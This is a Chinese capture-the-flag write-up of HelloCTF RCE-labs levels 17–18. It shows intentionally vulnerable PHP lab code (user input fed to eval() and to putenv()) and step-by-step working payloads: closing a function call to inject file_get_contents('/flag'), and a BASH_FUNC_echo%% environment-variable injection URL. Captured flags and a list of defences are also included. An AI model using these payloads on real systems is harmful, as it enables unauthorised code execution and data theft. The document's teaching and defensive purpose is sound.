【RCELABS】Level 17~18 ------ PHP命令执行函数与环境变量注入
前言
本次练习靶场 RCE-labs 出自探姬(ProbiusOfficial)的 HelloCTF 开源项目。
PHP 命令执行函数与环境变量注入是 RCE 题目中较为经典的进阶利用场景。当应用程序对命令参数进行了严格过滤,或直接的命令拼接被 WAF 拦截时,常规的 ;id、|cat /flag 等注入方式将难以直接生效。此时需要充分利用 PHP 自身的语言特性与环境变量机制,通过动态函数调用、环境变量劫持、特殊配置项利用等方式,在受限条件下实现远程命令执行。
本部分 Level 17~18 主要聚焦PHP 命令执行函数利用与环境变量注入。两道题目分别从不同维度展开:一道围绕 PHP 中各类命令执行函数的特性差异与绕过思路,另一道则深入环境变量注入的利用原理与构造技巧,整体难度循序渐进,适合系统掌握 PHP 命令执行的多种利用面与环境变量攻击面。
与前面的短字符命令执行相比,这部分题目更加注重对 PHP 语言特性本身的理解。解题过程中不仅需要熟悉 system()、exec()、shell_exec() 等函数的差异与适用场景,还需要分析环境变量在 PHP 中的传递机制,并结合动态函数调用、配置项篡改等思路,构造出能够绕过限制的完整利用链。
文中所有分析与 Payload 均仅在自行部署的本地靶场环境中进行,仅作为个人学习笔记分享。严禁将文中方法用于任何未经授权的目标,请自觉遵守《网络安全法》等相关法律法规。
整篇笔记统一采用源码分析 → 漏洞原理 → Payload 构造的结构,方便后续复盘与查阅。
RCELABS - 17:PHP多命令执行函数差异利用
题目描述
- 考点:PHP 命令执行函数
- 描述:在 system、exec、shell_exec、passthru、popen 和 反引号中构造可执行调用。
php
<?php
session_start();
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - PHP命令执行函数 ---
喵喵喵ww https://www.php.net/manual/zh/ref.exec.php
system() 函数用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。eg:system('cat /etc/passwd');
exec() 函数可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。eg:exec('cat /etc/passwd', $result); print_r($result);
shell_exec() 函数执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。eg:echo shell_exec('cat /etc/passwd');
passthru() 函数执行系统命令并将执行结果输出到页面中,支持二进制数据。eg:passthru('cat /etc/passwd');
popen() 函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。eg:$result = popen('cat /etc/passwd', 'r'); echo fread($result, 100);
反引号 用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。eg:echo \cat /etc/passwd`;`
在该关卡中,你将会从能够执行系统命令的PHP函数中抽取一个,你需要填充函数的内容来执行某些系统命令以获取flag(tip:flag存储在 /flag 中,当然你也可以尝试其他方法)。
*/
function hello_ctf($function, $content){
if($function == '``'){
$code = '`'.$content.'`';
echo "Your Code: $code <br>";
eval("echo $code");
}else
{
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}
}
function get_fun(){
$func_list = ['system', 'exec', 'shell_exec', 'passthru', 'popen','``'];
if (!isset($_SESSION['random_func'])) {
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
}
$random_func = $_SESSION['random_func'];
$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
echo $random_func == '``' ? "获得隐藏运算符: 执行运算符 ,去 https://www.php.net/manual/zh/language.operators.execution.php 详情。<br>" : "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";
return $_SESSION['random_func'];
}
function start($act){
$random_func = get_fun();
if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 ------ 或者你可以自己想办法可控它x */
session_unset();
session_destroy();
}
if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}
}
isset($_GET['action']) ? start($_GET['action']) : '';
highlight_file(__FILE__);
?>
RCELABS:PHP 多命令执行函数差异利用 ------ 但真正突破口是 eval() 代码注入
题目给了一个 PHP RCE 靶场,随机从以下几种命令执行方式中抽取一种:
php
system
exec
shell_exec
passthru
popen
``
题目提示 flag 在:
bash
/flag
表面上看,这题是在考察不同 PHP 命令执行函数的差异,例如:
system()会直接回显exec()默认不直接回显shell_exec()返回字符串passthru()直接输出popen()返回资源句柄- 反引号执行 shell 命令并返回结果
但实际审计后发现,这题真正的核心漏洞不是命令执行函数本身,而是:
php
eval()
关键代码如下:
php
function hello_ctf($function, $content){
if($function == '``'){
$code = '`'.$content.'`';
echo "Your Code: $code <br>";
eval("echo $code");
}else
{
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}
}
程序会把用户提交的 content 拼接进 PHP 代码中,然后交给 eval() 执行。这意味着:用户输入不是单纯作为参数使用,而是直接进入了 PHP 代码上下文。
下面分别看六种函数的原生利用方式:
抽到 system() ------ 直接回显型
system() 是最简单的,执行命令后直接把结果输出到页面。
提交 payload:
php
'cat /flag'
拼接后代码:
php
system('cat /flag');
页面直接回显 flag 内容,不需要额外处理。这是六种函数里最友好的一种。
抽到 passthru() ------ 直接回显型
passthru() 和 system() 类似,执行命令后也会直接输出结果。区别在于 passthru() 支持二进制数据原样输出,适合读取图片、压缩包等非文本文件。
提交 payload:
php
'cat /flag'
拼接后代码:
php
passthru('cat /flag');
页面直接回显 flag,用法和 system 完全一致。
抽到反引号 ------ 本题直接回显型
反引号的处理逻辑和其他函数不一样,代码分支是:
php
eval("echo `$content`");
外层自带了 echo,所以反引号在本题中也是有回显的。
提交 payload:
bash
cat /flag
拼接后代码:
php
echo `cat /flag`;
页面直接输出 flag。反引号内部是完整的 Shell 环境,支持分号、管道、重定向等全部 shell 语法。
注意:反引号底层依赖
shell_exec(),如果disable_functions禁用了shell_exec,反引号也会同步失效。
抽到 exec() ------ 无回显型
exec() 执行命令但不直接输出结果,只返回命令的最后一行。如果只传一个参数:
php
'cat /flag'
拼接后:
php
exec('cat /flag');
命令确实执行了,但页面什么都不显示。因为 exec() 的返回值(最后一行)被直接丢弃了,也没有第二个参数来接收完整输出。
原生思路下,可以用输出重定向把结果写到文件里:
php
'cat /flag > /tmp/f'
执行后 flag 写入 /tmp/f,但还得再想办法读出来,比较绕。更直接的方法是用代码逃逸(后面统一讲)。
抽到 shell_exec() ------ 无回显型
shell_exec() 执行命令并返回完整输出字符串,但本题里返回值被直接丢掉了:
php
shell_exec('cat /flag');
没有 echo 包裹,返回的字符串不会出现在页面上。
原生传参看不到任何输出,属于"盲执行"状态。
抽到 popen() ------ 无回显型
popen() 是六种函数里最特殊的一个。它需要两个参数:命令和读写模式,返回的是文件指针资源。
原生合法调用:
php
'cat /flag','r'
拼接后:
php
popen('cat /flag','r');
语法没问题,命令也执行了,但返回的资源句柄没有被 fread() 或 fgets() 读取,所以页面依然空白。
popen() 原生利用起来最麻烦,既要补全参数,又要手动读取输出。
以上是按照题目预期思路,针对六种函数分别构造 payload。但这样做有两个问题:一是需要先判断抽到了哪个函数,二是无回显的函数用起来很别扭。
实际上,因为用户输入直接拼进了 eval(),我们有更通用、更强大的利用方式。
通用逃逸思路:闭合原函数,注入新代码
既然输入会被拼进 函数名(这里);,那我们可以主动把这个函数调用闭合掉,然后追加自己的 PHP 代码。
通用模板:
php
合法参数); 自定义PHP代码;//
以抽到 popen 为例,payload:
php
0,'r');echo file_get_contents('/flag');//
拼接后代码:
php
popen(0,'r');echo file_get_contents('/flag');//);
逐段拆解:
0,'r':补齐popen()的两个参数,让前面的函数调用语法合法):闭合函数调用括号;:结束第一条语句echo file_get_contents('/flag');:第二条语句,直接用 PHP 读取 flag 文件并输出//:注释掉尾部残留的);,避免语法错误
真正起作用的是这一句:
php
echo file_get_contents('/flag');
为什么用 file_get_contents 而不是 system('cat /flag')?因为这样完全绕开了命令执行函数,直接用 PHP 原生文件读取,不受 disable_functions 中命令执行函数的限制(当然这题没禁,但思路是通用的)。
这套逃逸 payload 适用于除反引号外的全部五种函数。
不管抽到的是 system、exec、shell_exec、passthru 还是 popen,只要把前面的参数补合法就行:
- 抽到 system:
'');echo file_get_contents('/flag');// - 抽到 exec:
'');echo file_get_contents('/flag');// - 抽到 shell_exec:
'');echo file_get_contents('/flag');// - 抽到 passthru:
'');echo file_get_contents('/flag');// - 抽到 popen:
0,'r');echo file_get_contents('/flag');//
其中单参数函数用 '' 空字符串补位最省事,popen 需要两个参数所以用 0,'r'。
反引号的逃逸方式
反引号不是函数调用,没有括号,所以上面的括号逃逸不适用。但反引号也有自己的逃逸方法------用反引号闭合:
bash
cat /flag`;echo file_get_contents('/flag');//
拼接后代码:
php
echo `cat /flag`;echo file_get_contents('/flag');//`;
用反引号闭合前面的执行运算符,再用分号开启新的 PHP 语句,最后用 // 注释掉尾部的反引号和分号。
实际测试回显
提交 popen 的逃逸 payload 后,页面显示:
Your Code: popen(0,'r');echo file_get_contents('/flag');//);
随后成功回显 flag:
NSSCTF{b2522f09-58f6-4cb9-9545-ed27132304ce}
本题真正的漏洞本质
这题看起来是:
PHP 命令执行函数差异利用
但实际上更关键的是:
用户输入直接拼接进
eval(),导致任意 PHP 代码执行。
危险代码模式:
php
$code = $function . "(" . $content . ");";
eval($code);
只要用户能控制 $content,就可以构造 合法参数);恶意PHP代码;// 完成注入。
这类 payload 的核心套路就是:
闭合当前函数调用;
执行自己的PHP代码;
// 注释掉后续残留
为什么这个方法比死磕函数差异更好?
因为不同函数的回显特性不一样:
| 函数 | 是否直接回显 |
|---|---|
system() |
是 |
passthru() |
是 |
exec() |
否 |
shell_exec() |
否,返回字符串 |
popen() |
否,返回资源 |
| 反引号 | 否,返回字符串(本题有 echo 所以有回显) |
如果按照题目预期,需要针对不同函数写不同 payload。但利用 eval() 注入后,我们不再依赖这些函数的回显特性,而是直接执行:
php
echo file_get_contents('/flag');
思路从"命令执行"升级成了"PHP 任意代码执行"。
总结
本题完整利用链:
用户可控 content
↓
拼接进 PHP 代码字符串
↓
进入 eval()
↓
闭合原函数调用
↓
注入 echo file_get_contents('/flag')
↓
读取并输出 flag
通用 payload(适用于 system / exec / shell_exec / passthru):
php
'');echo file_get_contents('/flag');//
popen 专用:
php
0,'r');echo file_get_contents('/flag');//
反引号专用:
php
cat /flag`;echo file_get_contents('/flag');//
一句话总结:这题表面考察 PHP 命令执行函数差异,真正突破口是 eval() 字符串拼接带来的代码注入。只要能闭合原函数调用,就能注入全新的 PHP 语句,直接读取 /flag。
RCELABS - 18:命令执行 - 环境变量注入
题目描述
- 考点:环境变量注入
- 描述:通过污染环境变量影响 shell 行为,从而间接执行命令。
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 环境变量注入 ---
来源:P牛2022的文章【我是如何利用环境变量注入执行任意命令】
https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html
*/
foreach($_REQUEST['envs'] as $key => $val) {
putenv("{$key}={$val}");
}
system('echo hello');
highlight_file(__FILE__);
?>
页面初始回显:
text
Warning: Invalid argument supplied for foreach() in /var/www/html/index.php on line 15
hello
漏洞原理
核心代码是:
php
foreach($_REQUEST['envs'] as $key => $val) {
putenv("{$key}={$val}");
}
system('echo hello');
程序会遍历用户传入的:
php
$_REQUEST['envs']
然后通过:
php
putenv()
设置环境变量。
也就是说,我们可以控制服务端执行命令前的环境变量。
putenv() 的作用
putenv() 可以设置当前 PHP 进程的环境变量,例如:
php
putenv("A=123");
等价于给当前进程添加一个环境变量:
bash
A=123
而后面的代码又调用了:
php
system('echo hello');
PHP 的 system() 会启动 shell 执行命令。
所以利用链是:
text
用户传入 envs 参数
↓
putenv() 写入环境变量
↓
system() 启动 shell
↓
shell 读取环境变量
↓
触发环境变量注入
关键利用点:Bash 函数导入
Bash 支持通过环境变量导入函数。
函数导入格式如下:
bash
BASH_FUNC_函数名%%=() { 函数体; }
例如:
bash
BASH_FUNC_echo%%=() { cat /flag; }
含义是:
给 Bash 注入一个名为
echo的函数,这个函数执行时运行cat /flag。
题目中刚好执行了:
php
system('echo hello');
因此我们可以劫持 echo。
为什么可以劫持 echo
正常情况下:
bash
echo hello
会输出:
text
hello
但是如果 Bash 环境变量中存在:
bash
BASH_FUNC_echo%%=() { cat /flag; }
Bash 启动后会把它导入为一个函数:
bash
echo() {
cat /flag
}
此时执行:
bash
echo hello
不再调用原本的 echo,而是调用我们定义的函数。
于是实际执行效果变成:
bash
cat /flag
Payload 构造
PHP 代码接收的是:
php
$_REQUEST['envs']
所以我们需要传入数组参数:
text
envs[环境变量名]=环境变量值
环境变量名:
text
BASH_FUNC_echo%%
环境变量值:
text
() { cat /flag; }
URL 中需要编码:
| 原字符 | URL 编码 |
|---|---|
% |
%25 |
| 空格 | %20 |
{ |
%7B,也可以直接保留 |
} |
%7D,也可以直接保留 |
最终 payload:
text
?envs[BASH_FUNC_echo%25%25]=()%20{%20cat%20/flag;%20}
完整访问地址:
text
http://node6.anna.nssctf.cn:27244/?envs[BASH_FUNC_echo%25%25]=()%20{%20cat%20/flag;%20}
实际执行结果
访问后页面回显:
text
NSSCTF{a1cf62bb-6ae9-4788-8071-d27845641873}
成功拿到 flag:
text
NSSCTF{a1cf62bb-6ae9-4788-8071-d27845641873}
利用链总结
text
控制 $_REQUEST['envs']
↓
foreach 遍历参数
↓
putenv("BASH_FUNC_echo%%=() { cat /flag; }")
↓
system('echo hello')
↓
Bash 启动并导入 echo 函数
↓
echo 被劫持为 cat /flag
↓
输出 flag
核心表格总结
| 项目 | 内容 |
|---|---|
| 漏洞类型 | 环境变量注入 |
| 危险函数 | putenv() + system() |
| 可控点 | $_REQUEST['envs'] |
| 利用机制 | Bash 函数导入 |
| 劫持对象 | echo |
| 目标命令 | cat /flag |
| payload | envs[BASH_FUNC_echo%25%25]=()%20{%20cat%20/flag;%20} |
| 最终 flag | NSSCTF{a1cf62bb-6ae9-4788-8071-d27845641873} |
一句话总结
这题的核心不是直接控制 system() 的参数,而是通过 putenv() 注入 Bash 环境变量,伪造 BASH_FUNC_echo%% 函数,劫持后续 system('echo hello') 中的 echo 命令,从而执行 cat /flag 读取 flag。
总结
完成RCE-Labs Level17~18练习,掌握两类进阶RCE利用方式。
Level17
表面考察6种PHP命令执行函数输出差异;核心漏洞是可控输入拼接进入eval()造成代码注入。
通用思路:闭合原函数调用,注入echo file_get_contents('/flag');读取文件;需要区分popen、反引号的特殊payload。可访问?action=r重置随机函数。
Level18
环境变量注入,依托putenv() + Bash函数导入特性。
构造BASH_FUNC_xxx%%劫持系统命令,在无法修改system参数的条件下实现间接RCE;该方式仅Bash有效。
线上靶场
- 特殊字符传输务必URL编码;
- 容器环境网络隔离,优先文件读取载荷,慎用反弹Shell。
防御总结
- 禁止用户输入直接拼接进
eval(); - 不允许外部输入控制
putenv(); - 尽量禁用
system/exec等命令执行高危函数; - 调用外部命令优先使用参数化模式。
免责声明
本文所涉及的漏洞原理、Payload构造、渗透思路仅用于个人安全学习、靶场复现与CTF竞赛研究,仅允许在自己拥有授权的本地实验环境中操作 。
严禁未经授权对任何公网、私有线上服务器实施探测、注入、攻击等行为,此类操作涉嫌违反《中华人民共和国网络安全法》《刑法》相关规定,由此产生的一切法律责任由行为人自行承担。
笔记内所有技术内容仅供安全防御方向学习参考,请勿非法滥用。